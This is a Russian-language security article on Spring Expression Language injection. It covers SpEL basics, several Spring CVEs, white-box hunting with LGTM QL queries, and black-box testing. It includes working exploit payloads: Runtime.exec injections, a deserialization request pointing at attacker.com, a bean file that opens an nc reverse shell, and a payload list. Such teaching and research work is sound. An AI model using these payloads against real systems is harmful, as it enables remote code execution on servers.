Intro
В процессе работы и исследований различных сервисов мы всё чаще можем встретить Spring Framework. И логичным шагом является знакомство с его структурой и возможными уязвимостями.
Самыми интересными для любого пентестера являются уязвимости, которые приводят к исполнению кода.
Одним из способов получить RCE в Spring является инъекция SpEL-выражений.
В этой статье мы попробуем разобраться, что такое SpEL, где его можно найти, какие есть особенности использования и как же находить такие инъекции.
What?
SpEL — это язык выражений, созданный для Spring Framework, который поддерживает запросы и управление графом объектов во время выполнения.
Также важно отметить, что SpEL создан в виде API-интерфейса, позволяющего интегрировать его в другие приложения и фрэймворки.
Где можно встретить?
Логично, что в Spring Framework SpEL используется сплошь и рядом. Показательным примером можно считать Spring Security, где права назначаются с помощью SpEL выражения:
@PreAuthorize("hasPermission(#contact, 'admin')")
public void deletePermission(Contact contact, Sid recipient, Permission permission);
Apache Camel использует SpEL API; ниже представлены примеры из его документации.
Формирование письма с использованием SpEL-выражений:
<route>
<from uri="direct:foo"/>
<filter>
<spel>#{request.headers['foo'] == 'bar'}</spel>
<to uri="direct:bar"/>
</filter>
</route>
Или можно использовать правило из внешнего файла, например, для задания Header:
.setHeader("myHeader").spel("resource:classpath:myspel.txt")
А вот несколько примеров, встреченных на GitHub:
https://github.com/jpatokal/openflights
Основы Spring Framework и SpEL
Чтобы читателю было проще разобраться в том, что собой представляют SpEL-инъекции, необходимо немного познакомиться со Spring и SpEL.
Ключевым элементов Spring Framework является Spring Container. Контейнер создаёт объекты, связывает их вместе, настраивает и управляет ими от создания до уничтожения.
Для управления компонентами, из которых состоит приложение, Spring Container использует
Внедрение Зависимостей. Это когда объекты настраиваются с помощью внешних сущностей, называемых Spring Beans – в просторечии «бины».
Spring Container получает из бина метаданные конфигурации, которые необходимы для получения следующей информации: инструкции, какие объекты инстанциировать и как их конфигурировать через метаданные.
Метаданные могут быть получены 3 способами:
- XML
- Аннотации Java
- Java-код
И ещё одним важным для нас моментом является Application Context.
ApplicationContext — это главный интерфейс в Spring-приложении, который предоставляет информацию о конфигурации приложения. Он доступен только для чтения во время выполнения, но может быть перезагружен при необходимости и поддержке приложением. Число классов, реализующих ApplicationContext-интерфейс, доступно для различных параметров конфигурации и типов приложений. По сути, он представляет собой само приложение Spring. Также контекст предоставляет возможности реагирования на различные события, которые происходят внутри приложения, и управлять жизненным циклом бинов.
Теперь остановимся непосредственно на способах задания bean и использовании SpEL-выражений.
Bean.XML
Примером типичного использования является интеграция SpEL в создание XML или аннотированных определений bean-компонентов:
<bean id=“exmple" class="org.spring.samples.NumberGuess">
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
<property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
<property name="defaultLocale2" value="${user.region}"/>
</bean>
Здесь представлена часть кода в файле Bean.xml, только для одного его бина. Стоит обратить внимание на id бина, по которому к нему можно обратиться, и на свойства. Т.к. в рамках этой статьи мы рассматриваем возможности эксплуатации SpEL, то в примере будут приведены несколько вариантов записи таких выражений.
Чтобы указать Spring, что дальше идут SpEL- выражения, используется символ #, а само выражение заключается в фигурные скобки: #{SpEL_expression}
. На свойства можно ссылаться, используя символ $ и заключив имя свойства в фигурные скобки: ${someProperty}
. Заполнители свойств не могут содержать выражения SpEL, но выражения могут содержать ссылки на свойства:
"#{${someProperty}"
Таким образом можно вызвать любой необходимый нам Java-класс или, к примеру, обратиться к переменным среды, что может быть полезным для определения имени пользователя или версии системы.
Удобство такого метода задания бинов – возможность изменять их без перекомпиляции всего приложения, тем самым меняя поведение приложения.
Из самого приложения можно обратиться к этому бину, используя интерфейс ApplicationContext, как показано ниже:
ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”);
MyExpression example = ctx.getBean(“example", MyExpression.class); " +
"System.out.println(“Number : " + example.getValue());
System.out.println(“Locale : " + example.getDefaultLocale());
System.out.println(“Locale : " + example.getDefaultLocale2());
Т.е. внутри приложения мы просто получаем значения параметров бина, которые содержат SpEL-выражения. Spring, получив такое значение, исполняет выражение и выдает конечный результат. Также не стоит забывать, что этот код не будет работать без соответствующих геттеров, но их описание выходит за рамки статьи.
Другим способом задания бинов является способ аннотаций AnnotationBase – значения параметра задаются внутри аннотации для какого-то класса. В этом случае использование переменных невозможно.
public static class FieldValueTestBean
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
public void setDefaultLocale(String defaultLocale) {
this.defaultLocale = defaultLocale;
}
public String getDefaultLocale() {
return this.defaultLocale;
}
}
Чтобы иметь возможность использовать переменные, при создании SpEL выражения нам необходимо задействовать интерфейс ExpressionParser. И тогда в коде приложения появится class, похожий на следующий пример:
public void parseExpressionInterface(Person personObj,String property) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(property+" == ‘Input'");
StandardEvaluationContext testContext = new StandardEvaluationContext(personObj);
boolean result = exp.getValue(testContext, Boolean.class);
ExpressionParser преобразует строковое выражение в объект Expression. Таким образом, значение анализируемого выражения можно будет получить в рамках EvaluationContext. Этот EvaluationContext будет единственным объектом, из которого будут доступны все свойства и переменные в строке EL.
Стоит отметить ещё один важный факт. При таком способе использования SpEL нам требуется, чтобы строковое выражение содержало # только в случае, если помимо самого выражения там содержатся строковые литералы.
Из всего выше описанного стоит запомнить две вещи:
1) Если есть возможность осуществлять поиск по коду приложения, то необходимо искать такие ключевые слова: SpelExpressionParser, EvaluationContext и parseExpression.
2) Важные для Spring указатели #{SpEL}
, ${someProperty}
и T(javaclass)
Если хотите более подробно почитать про Spring и SpEL, то рекомендуем обратить внимание на документацию docs.spring.io.
Что вообще может SpEL?
Согласно документации, SpEL поддерживает следующий функционал:
- Literal expressions
- Boolean and relational operators
- Regular expressions
- Class expressions
- Accessing properties, arrays, lists, maps
- Method invocation
- Relational operators
- Assignment
- Calling constructors
- Bean references
- Array construction
- Inline lists
- Inline maps
- Ternary operator
- Variables
- User defined functions
- Collection projection
- Collection selection
- Templated expressions
Как мы видим, функционал SpEL очень богат, и это может плохо сказаться на безопасности проекта, если в ExpressionParser попадет пользовательский ввод. Поэтому сам Spring рекомендует использовать вместо полнофункционального StandardEcalutionContext более урезанный по возможностям SimpleEvaluationContext.
Если вкратце, то из важного для нас у SimpleEvaluationContext нет возможности обращаться к Java-классам и ссылаться на другие бины.
Полное описание возможностей лучше изучить на сайте документации:
StandardEvaluationContext
SimpleEvaluationContext
На разнице в функциональности SpEL, исполняющегося в разных контекстах, даже основаны некоторые исправления, но об этом мы поговорим немного позже.
Чтобы всё стало действительно понятно, приведём пример. У нас есть явно вредоносная строка, содержащая SpEL-выражение:
String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
И есть два контекста:
StandardEvaluationContext std_c = new StandardEvaluationContext();
и
EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression(inj);
java exp.getValue(std_c);
— будет запущен калькулятор
java exp.getValue(simple_c);
— мы получим сообщение об ошибке
Не менее интересным моментом является то, что мы можем запустить обработку выражения без указания вообще какого-либо контекста: exp.getValue();
В этом случае выражение выполнится в рамках стандартного контекста и, как следствие, вредоносный код будет исполнен. Поэтому, если вы программист и используете Spring — никогда не забывайте задавать контекст, в рамках которого должно исполняться выражение.
Немного раньше мы говорили, что на отличиях возможностей SpEL в рамках контекстов строятся некоторые исправления. Рассмотрим пример такого исправления.
CVE 2018-1273 Spring Data Commons
Данная уязвимость нашлась в методе setPropertyValue и основывалась на двух проблемах:
1) Недостаточная санитизация значений переменной, попадающей в ExpressionParser.
2) Исполнение выражения в рамка стандартного контекста.
Вот скриншот уязвимой части кода:
Т.к. имя свойства не требовало сложной обработки в рамках SpEL, логичным решением было заменить контекст, в результате чего получился следующий код:
На скриншотах приведены части кода, задающие контекст, и выражение, которое будет выполненно. Но исполнение выражения происходит в другом месте:
expression.setValue(context, value);
Как раз тут и указывается, что мы исполняем SpEL-выражение (expression) для значения value в рамках заданного контекста (context).
Использование SimpleEvaluationContext помогло защититься от внедрения Java Class в parseExpression, и теперь вместо исполнения кода в логе сервера мы увидим ошибку:
Type cannot be found 'java.lang.Runtime'
Но это не решило проблему с отсутствием достаточной санитизации и сохранило возможность провести атаку redos:
curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test"
Поэтому следующее исправление уже содержало санитизацию имени параметра.
От теории к практике!
Теперь давайте рассмотрим несколько способов поиска SpEL injection методом White Box.
Step by step CVE-2017-8046
Для начала следует найти место обработки SpEL-выражений. Для этого вы можете просто воспользоваться нашей рекомендацией и найти в коде ключевые слова. Напомним эти слова: SpelExpressionParser, EvaluationContext и parseExpression.
Другой вариант — воспользоваться различными плагинами для поиска ошибок в коде. Пока что единственным плагином, который указывает на возможные SpEL injection, был findsecbugs-cli.
https://github.com/find-sec-bugs
Итак, мы нашли интересующее нас место в коде. Допустим, с помощью findsecbugs-cli:
В коде приложения мы увидим следующее:
public class PathToSpEL {
private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser();
static final List<String> APPEND_CHARACTERS = Arrays.asList("-");
/**
* Converts a patch path to an {@link Expression}.
*
* @param path the patch path to convert.
* @return an {@link Expression}
*/
public static Expression pathToExpression(String path) {
return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
Следующим шагом будет задача обнаружить, откуда переменная path попадает в парсер выражений. Одним из достаточно удобных и бесплатных способов будет воспользоваться функцией IDE IntelijIdea — Analyze Dataflow:
Раскручивая цепочку, к примеру, для replace и изучая указанные методы и классы, получаем следующее:
Метод ReplaceOperation принимает значение переменной path.
public ReplaceOperation(String path, Object value) {
super("replace", path, value);
}
А чтобы вызвать метод replace, нужно передать в JSON переменную “op” cо значением “replace”.
JsonNode opNode = elements.next();
String opType = opNode.get("op").textValue();
else if (opType.equals("replace")) {
ops.add(new ReplaceOperation(path, value));
Аналогичным образом мы находим все места, где пользователь может передать нужное ему значение в переменную path. И тогда один вариантов эксплуатации уязвимости будет выглядеть так:
Метод запроса: PATCH
Тело запроса:
[{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]
Использование LGTM QL
Использование LGTM QL (в рамках статьи сократим просто до QL) — это ещё один интересный способ поиска уязвимостей.
https://lgtm.com
Стоит сразу оговорить его недостаток. Бесплатно вы сможете проанализировать только проекты, которые лежат в открытых репозиториях на GitHub, т.к. чтобы сделать снимок проекта, LGTM выкачивает проект к себе на сервер и уже там компилирует. Но если это вас не беспокоит, то LGTM QL откроет для вас широкие возможности в анализе кода приложения.
Итак, что собой представляет анализ приложения с использованием QL?
Для начала, как мы уже говорили, потребуется создать снимок приложения.
Когда снимок будет готов, а это может занять несколько часов, вы можете начать писать SQL-подобный запрос в рамках синтаксиса QL. Для этого можно использовать плагин для Eclipse или же действовать прямо в консоли на странице QL проекта.
Т.к. сейчас мы рассматриваем Spring, а это framework для Java, то потребуется описать интересующий вас класс и метод из этого класса, вызов которого считается уязвимым. Для нас это любой класс, содержащий метод, который вызывает ExpressionParser.
Затем мы делаем выборку всех методов, соответствующих нашим требованиям, допустим, описав попадание переменной в метод, который бы санитизировал и условие непопадания в этот метод.
Итак, что же нужно сделать, чтобы найти уязвимость CVE 2018-1273?
Получив и подключив образ проекта, используем консоль QL, чтобы описать интересующее нас дерево вызовов. Для этого:
Описываем класс Expression parser:
class ExpressionParser extends RefType {
ExpressionParser() {
this.hasQualifiedName("org.springframework.expression", "ExpressionParser")
}
}
И методы, которые могут быть использованы для исполнения в рамках класса ExpressionParser:
class ParseExpression extends MethodAccess {
ParseExpression() {
exists (Method m |
(m.getName().matches("parse%") or m.hasName("doParseExpression"))
and
this.getMethod() = m
)
}
}
Теперь требуется связать между собой эти описания и сделать выборку:
from ParseExpression expr
where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser)
select expr
Такой запрос выдаст все методы, начинающиеся на parse или с именем doParseExpression, которые будут относиться к классу ExpressionParser. Но это слишком много, скажете вы, и будете правы. Требуется добавить фильтр.
Т.к. в коде встречается комментарий вида:
* Converts a patch path to an {@link Expression}.
*
* @param path the patch path to convert.
То таким фильтром может быть, к примеру, поиск “path” по Javadoc. Spring очень качественно комментирует свой код, и мы можем найти вызовы методов с нужным комментарием, а заодно убрать все методы, которые входят в тесты. Это всё можно описать следующим образом:
class CallHasPath extends Callable {
CallHasPath() {
not this.getDeclaringType() instanceof TestClass and
(
this.getDoc().getJavadoc() instanceof DocHasPath or
this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath
)
}
}
Тогда, чтобы объединить класс, методы и фильтр по Javadoc, запрос на выборку примет следующий вид:
from ParseExpression expr, CallHasPath c
where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and
c = expr.getEnclosingCallable())
select expr, c
Этот пример можно считать простым и, в общем-то, избыточным для поиска конкретной уязвимости. Гораздо интереснее выглядит поиск ошибок при написании исправления, т.к. в нём нужно указать сам класс, отвечающий за проверку, методы, которые его всегда вызывают и которые исполняются до того, как попасть под проверку.
Обращение к методу, который всегда вызывает verifyPath:
class VerifyPathCallerAccess extends MethodAccess {
VerifyPathCallerAccess() {
exists(VerifyPathActionConf conf |
conf.callAlwaysPerformsAction(this)
) or
this.getMethod() instanceof VerifyPath
}
}
Обращение к методу, который исполняется до verifyPath:
class UnsafeEvaluateCall extends MethodAccess {
UnsafeEvaluateCall() {
(
this.getMethod() instanceof Evaluate
or
exists(UnsafeEvaluateCall unsafe |
this.getMethod() = unsafe.getEnclosingCallable()
)
)
and
not exists(VerifyPathCallerAccess verify |
dominates(verify, this)
)
}
}
Рассмотрим ещё одну интересную уязвимость. Её понимание очень важно, т.к. она показывает, что ошибка может быть в сторонней библиотеке, и демонстрирует, как можно использовать XML-аннотированные бины.
Jackson and Bean
CVE-2017-17485 основана на использовании FileSystemXmlApplicationContext – это автономный контекст приложения в виде XML, получающий файлы определения контекста из файловой системы или из URL.
Согласно документации, это позволяет загрузить бины из файла и перезагрузить контекст приложения.
“… Create a new FileSystemXmlApplicationContext, loading the definitions from the given XML files and automatically refreshing the context”
Jackson — это библиотека, которая позволяет сериализовать и десериализовать любые объекты, кроме внесенных в черный список. Этой возможностью часто пользуются злоумышленники. В случае данной уязвимости злоумышленник должен был передать объект org.springframework.context.support.FileSystemXmlApplicationContext
со значением, содержащим путь до контролируемого злоумышленником файла.
Т.е. в теле запроса можно было передать следующий JSON:
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]}
Spel.xml же будет содержать параметры бина:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>nc</value>
<value>X.X.X.X</value>
<value>9999</value>
<value>-e</value>
<value>/bin/sh</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
Т.к. мы в качестве бина использовали класс java.lang.ProcessBuilder, который имеет метод start, то после перезагрузки контекста Spring считывает из свойства SpEL выражение, запускающее ProcessBuilder, тем самым заставляя сервер подключиться к нам посредствам nc.
Стоит обратить внимание на приведенный в качестве примера spel.xml, т.к. он показывает — каким образом можно передать параметры при запуске команды.
А каким ещё способом мы можем загрузить свой бин или перезагрузить контекст?
Даже при беглом просмотре документации по Spring можно найти ещё некоторые классы, которые могут быть нам полезны.
ClassPathXmlApplicationContext и AbstractXmlApplicationContext аналогичны FileSystem, но в качестве пути до конфигурации используют ClassPath- и XML-аннотированные бины, соответственно.
Есть ещё один интересный момент, связанный с перезагрузкой контекста — @RefreshScope.
Любой Spring Bean, аннотированный с помощью @RefreshScope, будет обновлен во время запуска. И все компоненты, которые его используют, получат новый объект при следующем вызове метода, будут полностью инициализированы и введены в зависимости.
RefreshScope — это компонент в контексте, и он имеет публичный метод refreshAll, предназначенный для обновления всех компонентов в области путем очистки целевого кэша. Поэтому в случае использования @RefreshScope пользователь может обратиться к URL, заканчивающемуся на /refresh, и тем самым перезагрузить аннотированные бины.
Другие утилиты
Существует множество других плагинов и программ, позволяющих проанализировать код и найти уязвимость.
- Jprofiler – ставится как отдельное приложение – сервер и плагин для IDE. Позволяет анализировать работающее приложение. Очень удобно, чтобы проанализировать поведение объектов посредством построения графов.
Из минусов – платная, но имеет бесплатный период в 10 дней. Считается одной из лучших утилит для анализа поведения приложения, не только с точки зрения безопасности.
- Xrebel – платная, мы не обнаружили возможности ознакомительного периода. Но тоже считается одной из лучших.
- Coverity – для анализа использует свои сервера, поэтому удобна только тем, для кого нестрашно выложить свой код.
- Checkmarx – очень известная, платная, знает много языков и вываливает много false positive. Но уж лучше указать на место, где в теории может быть ошибка, чем пропустить реальную ошибку.
- OWASP Dependency Check – предоставляется в виде удобного плагина для различных сборщиков. Мы успели испытать его для Maven и Ant при анализе Java-приложения. Также поддерживает .Net. По итогам работы предоставляет удобный отчет с указанием устаревших библиотек и известных для них уязвимостей.
- Findbugs – о нём уже упоминали ранее. Имеет много имплементаций, но наиболее удобным и почему-то показывающим больше количество проблем оказался вариант findbugs_cli. Его можно использовать следующим образом:
findsecbugs.bat -progress -html -output report_name.htm "path\example.jar"
- LGTM QL – пример его использования уже приводили ранее. Отдельно хотели бы сказать, что есть ещё и платный вариант использования, после приобретения которого вы получите локальный сервер для анализа вашего кода.
QL поддерживает не только Java, так что скорее всего вам он тоже покажется достаточно удобным для анализа приложений.
Black Box
В общем-то, тут всё стандартно.
Важно определить, что перед нами находится: Spring, использующий в своем коде SpEL, приложение, использующее SpEL API, или такой веб-сервис, который совершенно не имеет отношения к данной теме.
Если в качестве способа проверки содержимого сервера используется spring, то стоит обратить внимание на URL, содержащие в себе API. Также стоит проверить ответ сервера на эндпоинты /metrics и /beans — это укажет на наличие Spring Boot Actuator и опубликует список доступных бинов, что может оказаться полезным и само по себе.
Далее смотрим, какие параметры можно передавать.
Как мы видели ранее, SpEL можно встретить в разных элементах сервиса, поэтому важно проверять всё то, что может быть обработано.
- Параметры переменных:
var[SpEL]=123
- Имена переменных:
&variable1=123&SpEL=
- Куки: org.springframework.cookie =
${}
- Различные типы запросов и т.д.
Вот небольшая подборка с вариантами пэйлодов:
${1+3}
T(java.lang.Runtime).getRuntime().exec("nslookup !url!")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!')
new java.lang.ProcessBuilder({'nslookup !url!'}).start()
${user.name}
Не SpELом едины
На самом деле SpEL не первый язык выражений, есть много других, для которых уже находили EL Injection. Вот некоторые из них: OGNL, MVEL, JBoss EL, JSP EL. И в каком-то случае пэйлоады для этих языков даже будут одинаковыми.
В качестве заключения
На ZeroNights был вопрос: “А где, помимо Spring, можно найти SpEL injection?”
На первый взгляд, если посмотреть на CVE, то почти нигде. Но на самом деле случаев гораздо больше, и не только среди приложений, представленных на github.
К примеру, однажды встретился код, где при работе некоторого менеджерского сервиса данные из базы попадали в SpEL Expression. Т.е. злоумышленнику (возможно, тому самому менеджеру) требовалось всего лишь написать нужный запрос в базу, чтобы получить исполнение кода на сервере.
Т.е. от инъекции нас может отделять только возможность записать нужные данные в таблицу. Так что никогда не забывайте посмотреть, какие дополнительные возможности может дать та или иная фича языка, которую вы решили использовать при обработке “непользовательского” ввода.